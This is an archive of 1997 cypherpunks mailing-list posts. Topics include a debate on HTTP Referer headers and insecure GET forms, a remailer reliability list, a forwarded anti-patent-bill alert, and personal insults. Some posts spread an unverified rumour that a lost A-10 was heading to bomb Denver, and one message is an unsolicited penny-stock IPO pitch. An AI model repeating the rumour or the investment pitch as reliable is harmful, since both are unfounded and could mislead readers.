  So, according to the Air Force, an armed warplane was
allowed to approach within a few miles of one of the
most important underground military installations in
the country, without anybody noticing.

  Are bears Catholic? Does the Pope shit in the woods?
Are cypherpunks revisionists handling the current
military disinformation campaign on this event?

  An armed warplane capable of delivering its payload
upon unwary U.S. citizens gives every indication of
making an attempt to do so, and no major media even
broach the possibility of this being the case.

  I think perhaps I'll drop my cable news channels and
subscribe to the 24-hour a day "Happy Days" network.
  If I'm going to live in fantasy land, I'd rather 
watch the Fonz raise his eyebrows when mentioning the
Bobsie twins, without once suggesting that he would
like to bang the living shit out of them.

TruthMunster




************************************************************************
 This Anonymous email has been relayed by http://www.MyEmail.net/
 MyEmail.Net is a free anonymous mailing service. No records indicating
 the identity of person(s) who originated this message are retrieved
 electronically, or as a requirement to submit. Your email address can
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: null@myemail.net
Date: Sun, 13 Apr 1997 20:58:02 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Bombing Denver / Why has no one ever seen Jim Bell and Capt. Buttons together?
Message-ID: <03575784304170@MyEmail.net>
MIME-Version: 1.0
Content-Type: text/plain





  So, according to the Air Force, an armed warplane was
allowed to approach within a few miles of one of the
most important underground military installations in
the country, without anybody noticing.

  Are bears Catholic? Does the Pope shit in the woods?
Are cypherpunks revisionists handling the current
military disinformation campaign on this event?

  An armed warplane capable of delivering its payload
upon unwary U.S. citizens gives every indication of
making an attempt to do so, and no major media even
broach the possibility of this being the case.

  I think perhaps I'll drop my cable news channels and
subscribe to the 24-hour a day "Happy Days" network.
  If I'm going to live in fantasy land, I'd rather 
watch the Fonz raise his eyebrows when mentioning the
Bobsie twins, without once suggesting that he would
like to bang the living shit out of them.

TruthMunster




************************************************************************
 This Anonymous email has been relayed by http://www.MyEmail.net/
 MyEmail.Net is a free anonymous mailing service. No records indicating
 the identity of person(s) who originated this message are retrieved
 electronically, or as a requirement to submit. Your email address can
 be blocked to prevent further contact from this service, please refer
 to the URL above for instructions on how to do so.
************************************************************************




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 13 Apr 1997 20:09:07 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Patent Giveaway Bill - House vote could be week of April 14th
Message-ID: <v0302097eaf774a20c9cc@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


Got this one off one of my favorite um, hydrophobic, right-wing lists.

Actually, I *like* the idea of adopting the Japanese model, a patent system
which was designed from the gitgo to strip technology from the original
patentholders and accellerate its transfer to people who could implement it
faster.

Evolution in action, and all that. Of course, I expect that, <duck>
geodesic markets </duck> will reward people who come up with new stuff --
and not people who control old stuff -- by exponentially depreciating old
information as fast as it's created.

"Piracy" being the most efficient form of information transfer on a
ubiquitous network, and, with so-called watermarking, cryptolopes, etc.,
only being able to tell you who your copy was "pirated" from, the first
copy of anything will be auctioned off dear, and subsequent copies will be
sold dear in radiating secondary markets. Jason Cronk just wrote a paper on
this, based on his rump-session talk at FC97. I don't have the URL handy,
but his email address is <mailto:rjasonc@purple.reddesign.com>.

Cheers,
Bob Hettinga

--- begin forwarded text


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X-Sender: eagle@accessus.net (Unverified)
Date: Sun, 13 Apr 1997 11:58:35 -0500
To: eagle@eagleforum.org
From: Eagle Forum <eagle@eagleforum.org>
Subject: Patent Giveaway Bill - House vote could be week of April 14th
Mime-Version: 1.0
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                 PATENT GIVEAWAY BILL

         House vote could be week of April 14th


April 11, 1997

 Phone or fax your Congressman (202) 225-3121 and urge
 him to vote NO on H.R. 400, which is misnamed the Patent
 Improvement Act but should be called the Patent Giveaway
 bill or the Ron Brown Sellout Legacy. This bill would
 write into law Ron Brown's Commerce Department news
 release of August 16, 1994, which promised the Japanese
 that we will change our patent law to acquiesce in the
 demands made by the Japan Patent Association in its
 written statement of September 1993 (which called our
 patent system "unsatisfactory" and demanded changes).
 That statement is impudent and insulting to Americans.

 H.R. 400 would transform the U.S. Patent Office into a
 private corporation that could accept bribes for the
 issuing of patents. Of course, the bill doesn't use the
 nasty word bribes; it just says that the Patent Office
 "may accept monetary gifts or donations of services, or
 of real, personal, or mixed property, in order to carry
 out the functions of the Office." With all the recent
 scandals about Asian money used to influence U.S.
 policy, this would be a terrible mistake.

 The entire text of H.R. 400 is a sellout to the Japanese
 demands. This bill would order all patent applications
 to be made public 18 months after the application is
 filed, whether or not the inventor has yet been granted
 a patent. This dramatic change from our traditional
 treatment of patents would be a grievous injustice to
 the individual inventor because it would allow
 foreigners and multinationals to use their enormous
 resources to steal the inventor's idea and beat him into
 production.

 H.R. 400 would loosen up the "reexamination" of U.S.
 patents already issued and allow foreign and domestic
 corporations to participate in the process after paying
 a "reexamination fee." H.R. 400 even specifies that the
 board of directors of the new private patent office
 shall include persons "with substantial background and
 achievement in corporate finance and management." That
 puts the multinationals in the driver's seat to ride
 roughshod over the rights of individual inventors.

 Instead of ratifying the Ron Brown sellout deal,
 Congress should stand up for one of our most important
 constitutional rights - the right of inventors to have,
 for limited times, "the exclusive right to their . . .
 discoveries." This unique provision in the U.S.
 Constitution (Article 1, Section 8) marked a profound
 turning point in world history; it started the marvelous
 series of American inventions that have raised our
 standard of living and built America into an industrial
 super power.

 H.R. 400 invites Asian money to diminish a precious
 American constitutional right. It is a scandal that
 Congress cannot afford to be involved in. Vote NO on
 H.R. 400.


See our sample letter to Congress:
http://www.eagleforum.org/conglet/1997/patents.html
============================================
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 13 Apr 1997 22:13:01 -0700 (PDT)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Bombing Denver? / Or: How Capt. Button Learned to Stop Worrying and Love the Bomb
In-Reply-To: <v03007801af776c92216b@[207.167.93.63]>
Message-ID: <3351BDB6.1FFE@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
 
> The A-10 is believed by Reliable Sources to have been on its way to bomb
> the Federal Building, while the McVeigh trial was starting, in Denver.
> 
> (I'm on some strange lists and can't vouch for this revelation.)

  Which begs the question, "Would those lists be strange if you
'weren't'
on them?"
  (Sorry, I couldn't help myself...)
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 13 Apr 1997 22:17:11 -0700 (PDT)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Bombing Denver? / Or: How Capt. Button Learned to Stop Worrying and Love the Bomb
In-Reply-To: <199704140504.AAA10454@manifold.algebra.com>
Message-ID: <3351BEBC.2310@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> 
> Huge Cajones Remailer wrote:
> > The story thus far:
> >   An United States A-10 warplane on a live bombing run breaks formation
> > and spends the next hour flying toward Colorado.
> >   Just short of Vail, it changes course, headed toward Denver, and then
> > shortly thereafter changes direction, heading south, only to reverse
> > its course, and once again head toward Denver/Vail.
> 
> The pilot could have been searching for The Right Reverend Colin James
> III, living near Denver.

Igor,
  Are you suggesting that there 'is' a God?
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 13 Apr 1997 23:21:20 -0700 (PDT)
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3.0.1.32.19970411230142.00643490@popd.ix.netcom.com>
Message-ID: <3351C568.4B7@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Tom Weinstein wrote:
> Bill Stewart wrote:
> > Thanks for the pointer to MS's security site; there's a lot of
> > good information there.
> >
> > I was highly unimpressed with Microsoft's Response:
> >         "It's Not A Security Flaw"
> >         "But Everybody Important Works Around It"
> >         "And we're fixing it in the next release"
> > without providing much detail about what's going on.
> > It does indicate what to look into to avoid it when writing web pages,
> > but it doesn't say how to avoid it when entering your credit card
> > number into a web page, or what to look for as a non-programmer user.
> 
> I basically agree with Microsoft.  It works as specified, and everyone
> should know that handling sensitive form posts via GET is a bad idea.
> 
> That said, there is certainly some merit to the argument that HTTP's
> "Referer:" is a privacy violation.  Therefore, we've added a preference
> to Communicator that allows you to turn it off.  Because of the late
> date there will be no UI, but if you are concerned about it, you can go
> into your prefs.js file (preferences.js on unix) and turn it off by
> adding the line:

  Nothing personal, but this is horseshit.
  I'm getting mighty tired of vendors claiming that the average user
is not getting hornswaggled by the new technology because they have
the option of becoming the world's foremost computer expert and 
disable all of the bullshit that is foisted upon them.
  I have yet to see an advertisement for a product that states that
the users, upon giving the vendor a pile of cash, will have a stick
shoved up their butt, but will also be able to remove it if they quit
their job and devote the rest of their life to figure out how to
disable intrusive computer mechanisms which intrude on their lives
and their privacy in a multitude of ways.

  Let's get real, here. Corporations add capabilities to their programs
that allow themselves and other 'major players' to have their way with
the user.
  When Joe Average, or a hacker/spammer takes advantage of the same
capability, then the vendors claim it is a 'bug', or that they can't
be blamed for the 'bad guys' use of this built-in function.

Major News Flash!!!
  If it is 'abuse' when I use it, then it is 'abuse' when the vendors
who programmed it that way use it, as well.

  I am awaiting the day when corporations and government finally 
resolve their differences and announce 'Cookie-Key Escrow'.
  I don't mind vendors implementing whatever schemes they choose,
I only resent their making the process obtuse and revealing what
they are doing only when getting 'caught' doing things in the
background that the average user might object to.
  Of course, I realize that I am being afforded the opportunity
to protect myself from unwanted intrusions by adding a "Fuck You"
line to my config.sys file, as long as I put it in front of the
second device file pointer which begins with the letter 'c', unless
it has more than two vowels in the line, in which case I have to
put my left foot behind my right ear and lick my balls twice.

  The bottom line? Why do I have to perform esoteric manipulations
to my system to defend myself from people I give money to in order
to be able to use that system?
  It sounds suspiciously like the protection rackets, to me.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 13 Apr 1997 22:08:35 -0700 (PDT)
To: nobody@huge.cajones.com (Huge Cajones Remailer)
Subject: Re: Bombing Denver? / Or: How Capt. Button Learned to Stop Worrying and Love the Bomb
In-Reply-To: <199704140306.UAA02271@fat.doobie.com>
Message-ID: <199704140504.AAA10454@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Huge Cajones Remailer wrote:
> The story thus far:
>   An United States A-10 warplane on a live bombing run breaks formation
> and spends the next hour flying toward Colorado.
>   Just short of Vail, it changes course, headed toward Denver, and then
> shortly thereafter changes direction, heading south, only to reverse
> its course, and once again head toward Denver/Vail.

The pilot could have been searching for The Right Reverend Colin James
III, living near Denver.

> TruthMonger
> http://cnn.com
> 
> -- 
> Toto
> "The Xenix Chainsaw Massacre"
> http://bureau42.base.org/public/xenix/xenbody.html
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 13 Apr 1997 23:09:50 -0700 (PDT)
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199704140031.RAA12600@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970414000850.112512F-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to him.

On Sun, 13 Apr 1997, Mix wrote:

> Tim `C' Mayonnaise's obsessive masturbation has lead to advanced degree of 
> blindness and hairy palms.
> 
>              |||||||||||
>               \~0/ \0~/
>               <  (0)  >
>          --oOO--/|||\--OOo- Tim `C' Mayonnaise
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 13 Apr 1997 23:19:45 -0700 (PDT)
To: Hal Finney <hal@rain.org>
Subject: Re: anonymous credit
In-Reply-To: <199704140455.VAA03115@crypt.hfinney.com>
Message-ID: <3351CD43.5BB3@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Hal Finney wrote:
> 
> Here is a simpler example of Wei's anonymous credit idea.  We can call it
> the "borrowing cryptographers".

Hal,
  I have been following this thread with interest (no pun intended), and
have had the foresight to not add to ideas that go beyond my own ability
to follow.
  (I have to read your posts several times to even begin to grasp some
of them.)

  I am wondering what other concrete examples you might be able to add
to the one in this post which might point to an actual funtional
implementation of the ideas you have been promulgating.
  Many of the CypherPunks discussions involve largely theoretical
concepts which need much development to be practical, but it seems to
me that in this post you are approaching a level where what you are
discussing might actually be feasibly introduced in various microcosmic
situations.

  Being a Canadian, and therefore semi-socialist by nature, I am 
thinking along the lines of Credit Union applicability of your ideas.
Credit Unions often take the form of small groups of individuals or
companies with common aims and/or backgrounds/interests.
  The basic idea behind many Credit Unions is that they are more prone
to lend money to individuals or institutions which are promoting ideas
which can be profitable, but which the average banker or loan agency
would not understand sufficiently to advance money on.

  For example, having an interest in the issues you are discussing, I
might be ameniable to getting involved in an effort to fund the
development of the 'Hal-Wei Anonymous Credit' program.
  The advantage of a Credit Union setup is that I know that it is run
with an eye to realistic chances of success being considered, but also
will take into account efforts that should be funded which may have
only a marginal chance of financial success, but will further the 
general cause of those things I am interested in.

  Truly there are a rising number of issues today which might benefit
from the ability to participate anonymously in the funding of causes
in which one has an interest.
  While AP is one of the more startling and newsworthy (?) aspects
of anonymous lottery/credit systems, there are a multitude of minor
causes which might benefit from the ability to engage in an anonymous
credit system, as well.
  A simple example might be those who wish to financially back a legal
challenge of their health-care system, without risking being denied
benefits as a result of their participation.

  I think that some of the CypherPunks' contributions to computer
technology go largely unrecognized because of the fact that they
aide those who do not wish to draw attention to themselves, for the
most part.
  There isn't a week that goes by without my receiving an email from
someone who thanks me for the benefit they have gained by my introducing
them to encryption or anonymous remailers, yet I doubt that many of them
give the same feedback to those who provide those services. Remailer
operaters seem to mostly receive shit and abuse for feedback, as a
result of their efforts, yet I know from experience that there are many
to whom their services have been a blessing.

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Mon, 14 Apr 1997 02:04:06 -0700 (PDT)
To: toto@sk.sympatico.ca
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3.0.1.32.19970411230142.00643490@popd.ix.netcom.com>
Message-ID: <3351F2DF.7DC26A1A@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> 
> [ long rant deleted ]

I'm just going to reply to what I think it the real substance of your
argument.  If I got the wrong piece, I'm sure you'll tell me.

> Let's get real, here. Corporations add capabilities to their programs
> that allow themselves and other 'major players' to have their way with
> the user.
>   When Joe Average, or a hacker/spammer takes advantage of the same
> capability, then the vendors claim it is a 'bug', or that they can't
> be blamed for the 'bad guys' use of this built-in function.

This particular feature (the HTTP referer header) has nothing to do with
corporations "having their way" with users.  It was created so that web
authors could put "back" buttons on their pages.  The security problem
arises when stupid CGI authors use GET forms to transfer sensitive
information.  This is a security hole in the web site, not in the
browser.  The browser follows the HTTP specification.  If you have a
problem with that, contact the author of that specification.  Or, better
yet, contact the web site (as far as I know, there are none) that has
this security hole.

The only "bad guys" are the web sites that you are giving your private
information to.  If you trust them enough to give them your information
in the first place, shouldn't you trust them not to give it away by
using a GET form?

In the eyes of some, the referer header is a privacy violation.  It
allows a site to see what site you visited before coming there.  In the
case of Navigator, we ONLY send the referer header when you click on a
link.  Not when you select a bookmark.  Not when you type a URL into the
location field.  This allows web sites to see who links to them.  I
think that's something that a web author is entitled to know.

So, you think we're doing something bad.  Why don't you tell me what
you think we should do?

-- 
You should only break rules of style if you can    | Tom Weinstein
coherently explain what you gain by so doing.      | tomw@netscape.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 14 Apr 1997 06:50:39 -0700 (PDT)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199704141350.GAA08343@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 14 Apr 97 6:46:43 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             #-+#***##*-#  1:20:48  99.99%
hidden   remailer@hidden.net              *+.-###*#*##    33:34  99.97%
lucifer  lucifer@dhp.com                  +++++++*--++    37:43  99.96%
weasel   config@weasel.owl.de             ++-++---+-+   2:26:15  99.94%
winsock  winsock@rigel.cyberpass.net      -------+---   3:02:13  99.88%
balls    remailer@huge.cajones.com        * #######*##     1:25  99.87%
reno     middleman@cyberpass.net          -___.--*+-**  8:53:42  99.72%
dustbin  dustman@athensnet.com            ----- .+-+-   1:22:31  99.67%
cyber    alias@alias.cyberpass.net        + ++  +*++**    32:39  99.66%
replay   remailer@replay.com              -.-*-**** +*    48:24  99.59%
mix      mixmaster@remail.obscura.com     -__.--++*-+  13:31:30  99.54%
squirrel mix@squirrel.owl.de              -+-++- -+-+   2:21:21  99.45%
shaman   remailer@lycaeum.org             ++*+-++--+**    23:01  99.35%
extropia remail@miron.vip.best.com        _..---...-   22:24:15  97.51%
exon     remailer@remailer.nl.com         *#* *__ * ##  3:49:43  95.05%
jam      remailer@cypherpunks.ca          ** **            8:26  26.45%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: chairman <ceo@mitnet.com>
Date: Mon, 14 Apr 1997 04:30:35 -0700 (PDT)
Subject: Digi-Cash IPO!  $1.60 per share
Message-ID: <199704140619.CAA14764@ispam.net>
MIME-Version: 1.0
Content-Type: text/plain


Greetings:

Our market research indicated that this information 
may very well be very interesting to you!
  
As you may know, initial public stock offerings confer 
upon QUALIFIED INVESTORS huge profit potential
opportunities, IF they understand risk.  

Millennium Interactive Technologies Corp., developer of 
the first ever advertiser funded system of digital cash 
is offering 625,000 common shares directly to the public 
at $1.60 per share, with a 625 share minimum.
 
MITNET is an E-commerce startup which will offer 
Digital Cash and a FREE smart card to every user who 
retrieves advertising E-mail from its Internet web
site.  MITNET DCUs (Digital Currency Units) can be 
redeemed to pay for your on-line charges, Or converted 
instantly into the currency of any nation.   MITNET 
ad-mail is the future of Internet advertising!

  OFFERING CAN ONLY BE MADE BY WAY OF PROSPECTUS

QUALIFIED INVESTORS of full age can obtain a printed 
copy of this offering prospectus, demo software, and the
website URL, by sending a reply with name, street address, 
and day or evening phone number.  (please specify)  
===================================================
This is neither an offer to sell, nor the 
solicitation of an offer to buy any securities. 
===================================================
Dislike commercial e-mail?  Let us put you on our 
master *DO-NOT-MAIL*  list which we supply to 400+ 
bulk e-mail firms.  Simply reply with the word 
remove anywhere in your message.
===================================================
           mailto:ceo@mitnet.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 14 Apr 1997 12:21:06 -0700 (PDT)
To: dlv@bwalk.dm.com
Subject: Re: A Rumor and Reputation Paradox...
In-Reply-To: <HP945D4w165w@bwalk.dm.com>
Message-ID: <199704140649.HAA00357@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri Vulis <dlv@bwalk.dm.com> writes:
> "Timothy C. May" <tcmay@got.net> writes:
> 
> > be it. Anti-free speechers, including Larry Kolodney and including those
> > who support libel and slander laws, would have us believe that "false
> > speech" is not as protected as "true speech" is. Foo on that.)
> 
> That from a vocal supporter of Cocksucker John Gilmore's plug-pulling...

If I recall, Tim was opposed to the moderation experiment, and to
John's removal of you from the list (the plug-pulling referred to?).

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ARTURO GRAPA YSUNZA <AGRAPA@banamex.com>
Date: Mon, 14 Apr 1997 07:17:34 -0700 (PDT)
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: SSL weakness affecting links from pa
Message-ID: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/0001600D@mex3976bcaop1.banamex.com>
MIME-Version: 1.0
Content-Type: text/plain




Tom Weinstein wrote:

>This particular feature (the HTTP referer header) has nothing to do with
>corporations "having their way" with users.  It was created so that web
>authors could put "back" buttons on their pages.  The security problem
>arises when stupid CGI authors use GET forms to transfer sensitive
>information.  This is a security hole in the web site, not in the
>browser.  The browser follows the HTTP specification.  If you have a
>problem with that, contact the author of that specification.  Or, better
>yet, contact the web site (as far as I know, there are none) that has
>this security hole.

Stupid programmers abound even in large corporations. Bugs, patches and
security holes are now normal everyday things. I agree with Toto.
Companies should take more responsability in the programs they produce.
Especially nowadays when a lot of people without any computer background
or insight into the dangers are accessing the Net. Why does Netscape
(and microsoft) warn users about secure and insecure forms? So they can
say "I told you so!" when you get screwed by someone. Same thing goes
for the GET method. Whatever a "stupid CGI author" does has little
bearing on the issue. It's like saying the tire fell off my car because
the person who built the road to spec ("GET" is allowed) is to blame not
the car maker. I should be warned about certain roads by the car maker.
If "GET" is allowed but unsecure YOU should warn me!

Admit it! It did not occur to your programmers to warn about access to
"GET" forms like it occurred to them to warn about http references
inside a https-accessed document. Now we have to live with it.

And you say "stupid CGI authors". What if they did it on purpose? Are
you going to say "then its stupid web users"? I'd really like to hear
you say that in public!

>In the eyes of some, the referer header is a privacy violation.  It
>allows a site to see what site you visited before coming there.  In the
>case of Navigator, we ONLY send the referer header when you click on a
>link.  Not when you select a bookmark.  Not when you type a URL into the
>location field.  This allows web sites to see who links to them.  I
>think that's something that a web author is entitled to know.

NO WAY! The web author is NOT entitled to know where I came from. So if
you go to Sears the saleperson is entitled to know you came from
JCPenney's? If so, then I am just as much entitled to not tell him or at
least entitled to know that there's a sign on my back that says where I
came from. How many web users are aware of the HTTP REFERRER header? Not
many, especially if they have not read the specs or looked at the logs
from a web server. As an adminsitrator I AM NOT ENTITLED to that info.

>So, you think we're doing something bad.  Why don't you tell me what
>you think we should do?

Accept responsibility?  Ok, that's wishful thinking. How about not
blaming others? How about warning your users? You didn't do it in this
case. If you do then you can say "I told you so!"

Art Grapa
agrapa@banamex.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Mon, 14 Apr 1997 09:17:53 -0700 (PDT)
To: AGRAPA@banamex.com
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/0001600D@mex3976bcaop1.banamex.com>
Message-ID: <199704141616.JAA12659@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


ARTURO GRAPA YSUNZA writes:
> 
> 
> Tom Weinstein wrote:
> 
> >This particular feature (the HTTP referer header) has nothing to do with
> >corporations "having their way" with users.  It was created so that web
> >authors could put "back" buttons on their pages.  The security problem
> >arises when stupid CGI authors use GET forms to transfer sensitive
> >information.  This is a security hole in the web site, not in the
> >browser.  The browser follows the HTTP specification.  If you have a
> >problem with that, contact the author of that specification.  Or, better
> >yet, contact the web site (as far as I know, there are none) that has
> >this security hole.
> 
> Stupid programmers abound even in large corporations. Bugs, patches and
> security holes are now normal everyday things. I agree with Toto.
> Companies should take more responsability in the programs they produce.

No, specification authors should take more responsibility in the specs
that they produce.  The HTTP spec's use of GET is insecure.  Specification
writers should realize that people will follow their specs, and should
be thinking of security and privacy issues as they are beig written.


> >In the eyes of some, the referer header is a privacy violation.  It
> >allows a site to see what site you visited before coming there.  In the
> >case of Navigator, we ONLY send the referer header when you click on a
> >link.  Not when you select a bookmark.  Not when you type a URL into the
> >location field.  This allows web sites to see who links to them.  I
> >think that's something that a web author is entitled to know.
> 
> NO WAY! The web author is NOT entitled to know where I came from. So if
> you go to Sears the saleperson is entitled to know you came from
> JCPenney's? If so, then I am just as much entitled to not tell him or at
